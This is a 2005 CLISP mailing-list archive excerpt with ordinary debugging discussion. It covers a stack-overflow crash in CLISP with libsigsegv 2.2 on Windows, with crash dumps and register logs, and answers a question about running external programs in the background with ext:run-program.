3320580763) (memory 3320581251) Software: GNU C 3.4.2 (mingw-special) gcc -mno-cygwin -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wno-sign-compare -falign-functions=4 -D_WIN32 -g -DDEBUG_OS_ERROR -DDEBUG_SPVW -DDEBUG_BYTECODE -DSAFETY=3 -DUNICODE -DNO_TERMCAP_NCURSES -DDYNAMIC_FFI -DNO_GETTEXT -I. -x none libcharset.a libavcall.a libcallback.a -luser32 -lws2_32 -lole32 -loleaut32 -luuid -L/usr/local/lib -lsigsegv SAFETY=3 HEAPCODES STANDARD_HEAPCODES SPVW_BLOCKS SPVW_MIXED TRIVIALMAP_MEMORY libsigsegv 2.2 Features: (REGEXP SYSCALLS LOOP COMPILER CLOS MOP CLISP ANSI-CL COMMON-LISP LISP=CL INTERPRETER SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI UNICODE BASE-CHAR=CHARACTER PC386 WIN32) Installation directory: C:\dev\clisp\clisp\build-g\ User language: ENGLISH Machine: PC/386 (PC/686) dawne [192.168.168.26] Reserved address range 0x22010000-0x5d08ffff . STACK depth: 16363 SP depth: 1073612826 i i i i i i i ooooo o ooooooo ooooo ooooo I I I I I I I 8 8 8 8 8 o 8 8 I \ `+' / I 8 8 8 8 8 8 \ `-+-' / 8 8 8 ooooo 8oooo `-__|__-' 8 8 8 8 8 | 8 o 8 8 o 8 8 ------+------ ooooo 8oooooo ooo8ooo ooooo 8 Copyright (c) Bruno Haible, Michael Stoll 1992, 1993 Copyright (c) Bruno Haible, Marcus Daniels 1994-1997 Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998 Copyright (c) Bruno Haible, Sam Steingold 1999-2000 Copyright (c) Sam Steingold, Bruno Haible 2001-2005 [1]> (defun ackermann (m n) (declare (type integer m n)) (cond ((zerop m) (1+ n)) ((zerop n) (ackermann (1- m) 1)) (t (ackermann (1- m) (ackermann m (1- n)))))) ACKERMANN [2]> (defun run-ackermann () (ackermann 3 11)) RUN-ACKERMANN [3]> (run-ackermann) *** - EVAL: variable L has no value The following restarts are available: USE-VALUE :R1 You may input a value to be used instead of L. STORE-VALUE :R2 You may input a new value for L. ABORT :R3 ABORT Break 1 [4]> :r3 [5]> (run-ackermann) *** - EVAL: variable L has no value The following restarts are available: USE-VALUE :R1 You may input a value to be used instead of L. STORE-VALUE :R2 You may input a new value for L. ABORT :R3 ABORT Break 1 [6]> (ackermann 3 11) *** - Program stack overflow. RESET Break 1 [6]> (ackermann 3 11) *** - Program stack overflow. RESET Break 1 [6]> (ackermann 3 11) *** - Program stack overflow. RESET Break 1 [6]> :abort :ABORT Break 1 [6]> (reset) *** - EVAL: undefined function RESET The following restarts are available: USE-VALUE :R1 You may input a value to be used instead of (FDEFINITIO 'RESET). RETRY :R2 Retry STORE-VALUE :R3 You may input a new value for (FDEFINITION 'RESET). ABORT :R4 ABORT ABORT :R5 ABORT Break 2 [7]> :r5 [8]> (ackermann 3 11) *** - Program stack overflow. RESET [9]> (ackermann 3 11) *** - Program stack overflow. RESET [10]> (ackermann 3 11) *** - Program stack overflow. RESET [11]> (ackermann 3 11) *** - Program stack overflow. RESET [12]> *features* (:REGEXP :SYSCALLS :LOOP :COMPILER :CLOS :MOP :CLISP :ANSI-CL :COMMON-LISP :LISP=CL :INTERPRETER :SOCKETS :GENERIC-STREAMS :LOGICAL-PATHNAMES :SCREEN :FFI :UNICODE :BASE-CHAR=CHARACTER :PC386 :WIN32) [13]> Tuesday, March 22, 2005, 7:03:36 PM, I wrote: > I can generate this problem simply by defining > (defun ackermann (m n) > (declare (type integer m n)) > (cond > ((zerop m) (1+ n)) > ((zerop n) (ackermann (1- m) 1)) > (t (ackermann (1- m) (ackermann m (1- n)))))) > (defun run-ackermann () > (ackermann 3 11)) > and entering > (run-ackermann) > in a clisp console twice. The first time it gives the > *** - Program stack overflow. RESET > message. The second time it gives the message, and crashes. > GNU CLISP 2.33.83 (2005-03-14) (built 3320497605) (memory 3320497960) > Software: GNU C 3.4.2 (mingw-special) > gcc -mno-cygwin -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit > -Wreturn-type -Wno-sign-compare -O2 -fexpensive-optimizations > -D_WIN32 -DUNICODE -DNO_TERMCAP_NCURSES -DDYNAMIC_FFI -DNO_GETTEXT > -I. -x none libcharset.a libavcall.a libcallback.a -luser32 > -lws2_32 -lole32 -loleaut32 -luuid -L/usr/local/lib -lsigsegv > SAFETY=0 HEAPCODES STANDARD_HEAPCODES GENERATIONAL_GC SPVW_BLOCKS SPVW_MIXED TRIVIALMAP_MEMORY > libsigsegv 2.2 > Features: > (REGEXP SYSCALLS LOOP COMPILER CLOS MOP CLISP ANSI-CL COMMON-LISP LISP=CL > INTERPRETER SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI UNICODE > BASE-CHAR=CHARACTER PC386 WIN32) > Installation directory: C:\Dev\clisp\clisp\build-mingw\ > User language: ENGLISH > Machine: PC/386 (PC/686) dawne [192.168.168.26] > Whereas in 2.33.2 I get no crash... > [1]> *features* > (:CLOS :LOOP :COMPILER :CLISP :ANSI-CL :COMMON-LISP :LISP=CL > :INTERPRETER :SOCKETS :GENERIC-STREAMS > :LOGICAL-PATHNAMES :SCREEN :FFI :UNICODE :BASE-CHAR=CHARACTER :PC386 :WIN32) > [2]> (defun ackermann (m n) > (declare (type integer m n)) > (cond > ((zerop m) (1+ n)) > ((zerop n) (ackermann (1- m) 1)) > (t (ackermann (1- m) (ackermann m (1- n)))))) > ACKERMANN > [3]> (defun run-ackermann () > (ackermann 3 11)) > RUN-ACKERMANN > [4]> (RUN-ACKERMANN) > *** - Lisp stack overflow. RESET > [5]> (RUN-ACKERMANN) > *** - Lisp stack overflow. RESET > [6]> (RUN-ACKERMANN) > *** - Lisp stack overflow. RESET > [7]> (RUN-ACKERMANN) > *** - Lisp stack overflow. RESET > [8]> > Regards, > e > Earlier I wrote... > Monday, March 14, 2005, 8:17:59 AM, you wrote: >>> libsigsegv: i386-pc-mingw32 | yes | yes | 2.2 >> Thanks, I'm adding this to the PORTING file. > Hmm. I just tried running cl-bench with clisp built from CVS using > libsigsegv 2.2 and got an Access Violation crash. Below is the DrMinGW > dump. The console said: > === running # > === running # > *** - Program stack overflow. RESET > *** - Program stack overflow. RESET > > There were no ACKERMANN results in the cl-bench report. > Regards, > e > lisp.exe caused an Access Violation at location 0041b948 in > module lisp.exe Reading from location 00030ffc. > Registers: > eax=004dc201 ebx=00031000 ecx=0041b930 edx=00000000 esi=00000000 edi=00030000 > eip=0041b948 esp=0022fd98 ebp=0022fdb0 iopl=0 nv up ei pl zr na po nc > cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 > Call stack: > 0041B948 lisp.exe:0041B948 > 0041BC6D lisp.exe:0041BC6D > 0041BC92 lisp.exe:0041BC92 > 004D0E15 lisp.exe:004D0E15 stack_overflow_handler handler-win32.c:116 > static void stack_overflow_handler( > long unsigned int faulting_page_address = 2292428, > stackoverflow_context_t context = &{ > DWORD ContextFlags = , > DWORD Dr0 = , > DWORD Dr1 = , > DWORD Dr2 = , > DWORD Dr3 = , > DWORD Dr6 = , > DWORD Dr7 = , > FLOATING_SAVE_AREA FloatSave = { > DWORD ControlWord = , > DWORD StatusWord = , > DWORD TagWord = , > DWORD ErrorOffset = , > DWORD ErrorSelector = , > DWORD DataOffset = , > DWORD DataSelector = , > BYTEuint32[] RegisterArea = (array), > DWORD Cr0NpxState = > }, > DWORD SegGs = , > DWORD SegFs = , > DWORD SegEs = , > DWORD SegDs = , > DWORD Edi = , > DWORD Esi = , > DWORD Ebx = , > DWORD Edx = , > DWORD Ecx = , > DWORD Eax = , > DWORD Ebp = , > DWORD Eip = , > DWORD SegCs = , > DWORD EFlags = , > DWORD Esp = , > DWORD SegSs = , > BYTEuint32[] ExtendedRegisters = (array) > } > ) > ... > ok: > for (;;) >> (*stk_user_handler) (0, context); > } > ... ------------------------------------------------------------------------ The information in this email and its attachment(s) are intended for the exclusive use of the addressee(s) and should be assumed to contain confidential and/or privileged information. If you are not an intended recipient be aware that any review, disclosure, copying, modifying, distribution, or use of this information is prohibited. If you have received this email in error, please forward this message and notify Flavors Inc immediately at postmaster@flavors.com From sds@gnu.org Wed Mar 23 13:01:28 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DECym-0005Uf-Pc for clisp-list@lists.sourceforge.net; Wed, 23 Mar 2005 13:01:28 -0800 Received: from smtp04.mrf.mail.rcn.net ([207.172.4.63]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DECyk-0002FO-8k for clisp-list@lists.sourceforge.net; Wed, 23 Mar 2005 13:01:28 -0800 Received: from 65-78-14-94.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com (HELO loiso.podval.org) (65.78.14.94) by smtp04.mrf.mail.rcn.net with ESMTP; 23 Mar 2005 16:01:24 -0500 X-IronPort-AV: i="3.91,115,1110171600"; d="scan'208"; a="14120979:sNHT19932476" Received: by loiso.podval.org (Postfix, from userid 500) id 40D2C21E1D2; Wed, 23 Mar 2005 16:01:24 -0500 (EST) To: clisp-list@lists.sourceforge.net, Doug Currie Mail-Copies-To: never Reply-To: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <932799917.20050323111041@flavors.com> (Doug Currie's message of "Wed, 23 Mar 2005 11:10:41 -0500") References: <1691117823.20050310212857@flavors.com> <200503141417.59874.bruno@clisp.org> <83800140.20050322190336@flavors.com> <932799917.20050323111041@flavors.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Doug Currie Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.5 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AMPERSAND BODY: Text interparsed with & 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' -0.6 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: crash on cl-bench's (ackermann 3 11) with libsigsegv 2.2 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Mar 23 13:02:50 2005 X-Original-Date: Wed, 23 Mar 2005 16:01:23 -0500 > * Doug Currie [2005-03-23 11:10:41 -0500]: > > On the other hand, I got a strange error, as you can see in the > console dribble below > EVAL: variable L has no value > in the evaluation of (run-ackermann). this is an artifact of cut&paste into the mingw clisp running in a cygwin window. I cannot figure this out - clues are welcome. -- Sam Steingold (http://www.podval.org/~sds) running RedHat9 GNU/Linux There are two ways to write error-free programs; only the third one works. From e@flavors.com Wed Mar 23 16:07:08 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DEFsS-0007uu-Mg for clisp-list@lists.sourceforge.net; Wed, 23 Mar 2005 16:07:08 -0800 Received: from smtp.drrizzick.com ([208.252.48.26] helo=mail.drrizzick.com) by sc8-sf-mx2.sourceforge.net with smtp (Exim 4.41) id 1DEFsR-0002Py-9d for clisp-list@lists.sourceforge.net; Wed, 23 Mar 2005 16:07:08 -0800 Received: from DAWNE by mail.drrizzick.com (DrRizzick Mail Server V1.x.x) with SMTP id DSA74586; Wed, 23 Mar 2005 19:07:02 -0500 From: Doug Currie X-Mailer: The Bat! (v2.11.02) Business Reply-To: Doug Currie X-Priority: 3 (Normal) Message-ID: <227099391.20050323190658@flavors.com> To: Sam Steingold CC: clisp-list@lists.sourceforge.net Subject: Variable L ; was: Re: [clisp-list] Re: crash on cl-bench's (ackermann 3 11) with libsigsegv 2.2 In-Reply-To: References: <1691117823.20050310212857@flavors.com> <200503141417.59874.bruno@clisp.org> <83800140.20050322190336@flavors.com> <932799917.20050323111041@flavors.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Mar 23 16:08:06 2005 X-Original-Date: Wed, 23 Mar 2005 19:06:58 -0500 Wednesday, March 23, 2005, 4:01:23 PM, you wrote: >> * Doug Currie [2005-03-23 11:10:41 -0500]: >> >> On the other hand, I got a strange error, as you can see in the >> console dribble below >> EVAL: variable L has no value >> in the evaluation of (run-ackermann). > this is an artifact of cut&paste into the mingw clisp running in a > cygwin window. > I cannot figure this out - clues are welcome. If I remove the from the lines I paste into the console, the error goes away. This is with the native windows console, with a clisp compiled with MinGW/msys on WinXP. e From russell_mcmanus@yahoo.com Wed Mar 23 06:26:43 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DE6og-0002XK-H9 for clisp-list@lists.sourceforge.net; Wed, 23 Mar 2005 06:26:38 -0800 Received: from dsl254-123-194.nyc1.dsl.speakeasy.net ([216.254.123.194] helo=cl-user.org) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DE6od-00086J-O1 for clisp-list@lists.sourceforge.net; Wed, 23 Mar 2005 06:26:38 -0800 Received: by cl-user.org (Postfix, from userid 1000) id E33CB3B; Wed, 23 Mar 2005 09:25:49 -0500 (EST) To: clisp-list@lists.sourceforge.net From: Russell McManus Message-ID: <87fyymfngy.fsf@cl-user.org> User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.4 (Security Through Obscurity, berkeley-unix) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 3.2 (+++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO 2.2 FORGED_YAHOO_RCVD 'From' yahoo.com does not match 'Received' headers Subject: [clisp-list] running external program in the background with arguments Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Mar 23 16:15:59 2005 X-Original-Date: Wed, 23 Mar 2005 09:25:49 -0500 I have been reading the impnotes and playing around with the latest clisp, trying to figure out how to run an external program in the background, while also supplying an argument list. One can pass and argument list to ext:execute, but I don't think you run a process in the background. ext:run-program has the :wait keyword, but I don't know how to use this to pass arguments to the program. Am I missing something easy? Thanks, -russ From sds@gnu.org Wed Mar 23 18:58:39 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DEIYQ-0002JY-SM for clisp-list@lists.sourceforge.net; Wed, 23 Mar 2005 18:58:38 -0800 Received: from smtp04.mrf.mail.rcn.net ([207.172.4.63]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DEIYP-00046G-C0 for clisp-list@lists.sourceforge.net; Wed, 23 Mar 2005 18:58:38 -0800 Received: from 65-78-14-94.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com (HELO loiso.podval.org) (65.78.14.94) by smtp04.mrf.mail.rcn.net with ESMTP; 23 Mar 2005 21:58:36 -0500 X-IronPort-AV: i="3.91,116,1110171600"; d="scan'208"; a="14257542:sNHT19994170" Received: by loiso.podval.org (Postfix, from userid 500) id 2B83B21E1D2; Wed, 23 Mar 2005 21:57:36 -0500 (EST) To: clisp-list@lists.sourceforge.net, Russell McManus Mail-Copies-To: never Reply-To: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <87fyymfngy.fsf@cl-user.org> (Russell McManus's message of "Wed, 23 Mar 2005 09:25:49 -0500") References: <87fyymfngy.fsf@cl-user.org> Mail-Followup-To: clisp-list@lists.sourceforge.net, Russell McManus Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.5 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO -0.5 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: running external program in the background with arguments Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Mar 23 18:59:22 2005 X-Original-Date: Wed, 23 Mar 2005 21:57:35 -0500 > * Russell McManus [2005-03-23 09:25:49 -0500]: > > ext:run-program has the :wait keyword, but I don't know how to use > this to pass arguments to the program. Am I missing something easy? (ext:run-program "ls" :arguments '("-a" "-R" "-l" "foo/") :wait nil) -- Sam Steingold (http://www.podval.org/~sds) running RedHat9 GNU/Linux Live free or die. From pjb@informatimago.com Thu Mar 24 04:09:02 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DER93-0005eS-UZ for clisp-list@lists.sourceforge.net; Thu, 24 Mar 2005 04:09:01 -0800 Received: from larissa.informatimago.com ([62.93.174.78] ident=postfix) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DER92-000247-Ay for clisp-list@lists.sourceforge.net; Thu, 24 Mar 2005 04:09:01 -0800 Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 2E375582FA; Thu, 24 Mar 2005 13:09:59 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 4913C10FC26; Thu, 24 Mar 2005 13:09:59 +0100 (CET) Message-ID: <16962.44567.240199.68839@thalassa.informatimago.com> To: Russell McManus Cc: clisp-list@lists.sourceforge.net Subject: [clisp-list] running external program in the background with arguments In-Reply-To: <87fyymfngy.fsf@cl-user.org> References: <87fyymfngy.fsf@cl-user.org> X-Mailer: VM 7.17 under Emacs 21.3.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-15 Content-Language: en X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.1 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Mar 24 04:09:38 2005 X-Original-Date: Thu, 24 Mar 2005 13:09:59 +0100 Russell McManus writes: > > I have been reading the impnotes and playing around with the latest > clisp, trying to figure out how to run an external program in the > background, while also supplying an argument list. > > One can pass and argument list to ext:execute, but I don't think you > run a process in the background. > > ext:run-program has the :wait keyword, but I don't know how to use > this to pass arguments to the program. Am I missing something easy? clisp shell ---------- ---------- (ext:run-program "pgm" :wait t) === pgm (ext:run-program "pgm" :wait nil) === pgm & It's entirely orthogonal to the argument passing, which is done with the :arguments keyword. -- __Pascal Bourguignon__ http://www.informatimago.com/ The rule for today: Touch my tail, I shred your hand. New rule tomorrow. From aneilbaboo@gmail.com Thu Mar 24 04:43:45 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DERgf-0007LO-7p for clisp-list@lists.sourceforge.net; Thu, 24 Mar 2005 04:43:45 -0800 Received: from wproxy.gmail.com ([64.233.184.197]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DERgc-0005CD-Jn for clisp-list@lists.sourceforge.net; Thu, 24 Mar 2005 04:43:45 -0800 Received: by wproxy.gmail.com with SMTP id 69so458685wra for ; Thu, 24 Mar 2005 04:43:36 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:in-reply-to:mime-version:content-type:content-transfer-encoding:references; b=VT3U5l8e4ucxxOKKmlRgkPcpt9Gmz2OnSkPkykGSPLS0+eFDFnlDyPDKRPikqw/D6tJAFWI+HCakyXUH//gzVY5kvikByaDlgvDflyvSYuiyJNmbOCc7KS32ygALCmccZMI0gGxqMv4+nWeokIh5DtZ8GQDfYVsiSc6kufTFYhQ= Received: by 10.54.102.16 with SMTP id z16mr105119wrb; Thu, 24 Mar 2005 04:43:36 -0800 (PST) Received: by 10.54.52.8 with HTTP; Thu, 24 Mar 2005 04:43:36 -0800 (PST) Message-ID: From: Aneil Mallavarapu Reply-To: Aneil Mallavarapu To: clisp-list@lists.sourceforge.net, sds@gnu.org In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit References: X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: metaclass hash bug Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Mar 24 04:44:19 2005 X-Original-Date: Thu, 24 Mar 2005 07:43:36 -0500 the #endif is in the correct spot. On Tue, 22 Mar 2005 17:40:46 -0500, Sam Steingold wrote: > > * Aneil Mallavarapu [2005-03-22 16:51:19 -0500]: > > > > http://mysite.verizon.net/vze3h476/clisp-log/clisp-build-log.txt > > for some reason varbrace does not see "spvw.d:472:#endif". > please do "rm -f spvw.d; cvs up spvw.d". > look at spvw.d:472, make sure there is an "#endif" there. > > -- > Sam Steingold (http://www.podval.org/~sds) running w2k > > > Yeah, yeah, I love cats too... wanna trade recipes? > From e@flavors.com Thu Mar 24 11:19:32 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DEXrc-00044I-OE for clisp-list@lists.sourceforge.net; Thu, 24 Mar 2005 11:19:28 -0800 Received: from smtp.drrizzick.com ([208.252.48.26] helo=mail.drrizzick.com) by sc8-sf-mx2.sourceforge.net with smtp (Exim 4.41) id 1DEXrb-0004A1-5f for clisp-list@lists.sourceforge.net; Thu, 24 Mar 2005 11:19:28 -0800 Received: from DAWNE by mail.drrizzick.com (DrRizzick Mail Server V1.x.x) with SMTP id DSA74586; Thu, 24 Mar 2005 14:19:22 -0500 From: Doug Currie X-Mailer: The Bat! (v2.11.02) Business Reply-To: Doug Currie X-Priority: 3 (Normal) Message-ID: <871480226.20050324141918@flavors.com> To: clisp-list@lists.sourceforge.net CC: Bruno Haible Subject: Re: [clisp-list] crash on cl-bench's (ackermann 3 11) with libsigsegv 2.2 In-Reply-To: <932799917.20050323111041@flavors.com> References: <1691117823.20050310212857@flavors.com> <200503141417.59874.bruno@clisp.org> <83800140.20050322190336@flavors.com> <932799917.20050323111041@flavors.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.1 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Mar 24 11:20:01 2005 X-Original-Date: Thu, 24 Mar 2005 14:19:18 -0500 Following up my earlier report (below) of a crash running cl-bench's (ackermann 3 11) when clisp is compiled with libsigsegv 2.2 on WinXP with MinGW/MSYS... I rebuilt libsigsegv with the debug switch in handler-win32.c on. Here is what results by simply launching clisp.exe and entering: (defun ackermann (m n) (declare (type integer m n)) (cond ((zerop m) (1+ n)) ((zerop n) (ackermann (1- m) 1)) (t (ackermann (1- m) (ackermann m (1- n)))))) (ackermann 3 11) This is different from the last report where I had to run (ackermann 3 11) twice before there was a crash. I assume all the "Code = 0xc0000005" exceptions below are normal Generational GC write barriers. The stack after the first stack overflow trap is at 0x32fe0 whereas the stack starts out at about 0x22fb38. Some observations: 1. the fault occurs at 0x30ffc which looks a lot like the stack wasn't really unwound 2. register ebx is 0x31000 after the second trap (0x32000 after the first) 3. I notice that non-windows platforms set STACK (%ebx) back to something else from the CONTEXT inside stackoverflow_handler(). The syntax of the UNIX_CYGWIN32 case should work in WIN32_NATIVE -- what is this supposed to do? The value (e.g., 0x32000) doesn't look too useful for STACK to me. e Exception! Code = 0xc0000005 Flags = 0x0 Address = 0x47c2c6 Params: 0x1, 0x2215d498, Registers: eip = 0x47c2c6 eax = 0x2215d445, ebx = 0xbd1008, ecx = 0x0, edx = 0x0 esi = 0x2215d445, edi = 0x5d03f45b, ebp = 0x22fb48, esp = 0x22fb38 Exception! Code = 0xc0000005 Flags = 0x0 Address = 0x47c2c6 Params: 0x1, 0x2213c428, Registers: eip = 0x47c2c6 eax = 0x2213c3d5, ebx = 0xbd1008, ecx = 0x0, edx = 0x0 esi = 0x2213c3d5, edi = 0x5d049d63, ebp = 0x22fb48, esp = 0x22fb38 Exception! Code = 0xc0000005 Flags = 0x0 Address = 0x47c2c6 Params: 0x1, 0x2213b2fc, Registers: eip = 0x47c2c6 eax = 0x2213b2a9, ebx = 0xbd1008, ecx = 0x0, edx = 0x0 esi = 0x2213b2a9, edi = 0x5d049d6b, ebp = 0x22fb48, esp = 0x22fb38 Exception! Code = 0xc0000005 Flags = 0x0 Address = 0x4928e4 Params: 0x1, 0x2201f8a8, Registers: eip = 0x4928e4 eax = 0x4000031, ebx = 0xbd1008, ecx = 0x2201f8a5, edx = 0x58cd30 esi = 0x2215f495, edi = 0x0, ebp = 0x22be28, esp = 0x22be00 i i i i i i i ooooo o ooooooo ooooo ooooo I I I I I I I 8 8 8 8 8 o 8 8 I \ `+' / I 8 8 8 8 8 8 \ `-+-' / 8 8 8 ooooo 8oooo `-__|__-' 